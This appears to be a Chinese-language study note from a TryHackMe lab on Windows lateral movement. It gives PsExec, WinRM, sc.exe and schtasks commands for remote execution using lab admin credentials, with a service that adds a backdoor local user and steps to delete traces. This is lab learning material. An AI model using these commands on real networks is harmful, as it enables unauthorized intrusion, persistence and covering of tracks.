0%

  • 横向移动-介绍:

    还是去http://distributor.za.tryhackme.com/credsAD 信息

    • 对于攻击者来说

      最简单的是使用标准管理协议(WinRM,RDP,SSH,VNC)连接到其他计算机。此时要注意尽量模拟常规用户行为:比如 IT部门用户通过 RDP 连接到 Web 服务器很常见,但如同本地管理员用户从营销部门连接到个人电脑 DEV-001-PC 就令人怀疑了

    • 管理员与 UAC

      这里需要区分本地账户与域账户

      这取决于用户账户控制 UAC 对本地管理员(除默认管理员)施加的限制,默认情况下,除非用通过 RDP 用交互式会话,否则本地管理员无法远程连接到计算机。因为此类管理员使用被过滤的介质完整性令牌进行登录

      而本地账户中的默认管理员账户和具有本地管理权限的域账户则有着完全管理权限

      当禁用了 UAC 时,有时可以发现管理员组中的本地用户和域账户没有区别。当横向移动失败时,可能是使用了被 UAC 限制的非默认本地管理员

  • Spawning Processes Remotely 远程生成进程

    注:令人感慨的是,以下均未复现成功

    这里假设已经拿到了管理员凭据:

    ZA.TRYHACKME.COM\t1_leonard.summers:EZpass4ever

    并且从 THMJP2 移动到 THMIIS

    • Psexec

      • 端口:445/TCP(SMB)
      • 所需组成员权限:管理员

        Psexec是远程执行进程的首选方法

        其工作方式如下:(但我们并不需要太过在意)

      • 连接到 Admin 共享并上传 Psexec

      • 到服务控制管理器创建名为 PSEXEC 的服务,并将该服务二进制文件与传上去的程序进行关联
      • 创建命名管道来处理 stdin/stdout/stderr

        只需要给其提供管理员凭据以及要运行的命令即可:

        psexec64.exe \\MACHINE_IP -u [admin_name] -p [admin_pass] cmd.exe

        net use \\10.200.48.201\IPC$ "EZpass4ever" /user:"ZA.TRYHACKME.COM\t1_leonard.summers"

        但令人感慨的是,这里失败了,即是通过 IPC 可以连接到目标,且可以读取文件,但 psexec 连接不上,应该是当前用户并非管理员权限导致的

        虽然按THM说的理论上可以连接?

    • WinRM

      • 端口:5985/5986 : (WinRM HTTP/WinRMHTTPS)
      • 所需组成员身份:远程管理用户

        大多数 Windows Server 都会安装并默认启用 WinRM ,其基于 Web 远程向主机发送 Powershell 命令

        winrs.exe -u:[username] -p:[password] -r:[target_ip] cmd

        或者使用 Powershell:

        1
        2
        3
        4
        5
        $username = 'ZA.TRYHACKME.COM\t1_leonard.summers';
        $password = 'EZpass4ever';
        $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
        $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
        Enter-PSSession -Computername 10.200.48.201 -Credential $credential

        啊不是为啥这也连不上啊

        gpt的建议是把目标机ip加到 TrustedHost 里面,但权限不够,令人感慨:

    • sc 远程创建服务

      • 端口:135/TCP 49152-65535/TCP 445/TCP 139/TCP
      • 所需组成员资格:管理员

        Windows 提供的标准工具 sc.exe 可以用于在远程主机上创建服务,比如,创建并启动 THMservice

        1
        2
        sc \\[TARGET] create THMservice binPath= "net user [username] [password] /add" start= auto
        sc \\[TARGET] start THMservice

        该服务执行时会在目标上创建一个新本地用户 [username]:[password]

        使用以下命令停止并删除该服务以清除痕迹:

        1
        2
        sc.exe \\[TARGET] stop THMservice
        sc.exe \\[TARGET] delete THMservice
      • schtasks 创建计划任务

        1
        2
        schtasks /s [TARGET] /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
        schtasks /s [TARGET] /run /TN "THMtask1"

        将计划类型 /sc 设置为 ONCE ,仅在指定时间触发一次。因为要手动触发,所以设定的时间 /sd /st 并不重要

        值得注意的是,计划任务并没有回显

        删除计划任务以清除痕迹:

        1
        schtasks /S [TARGET] /TN "THMtask1" /DELETE /F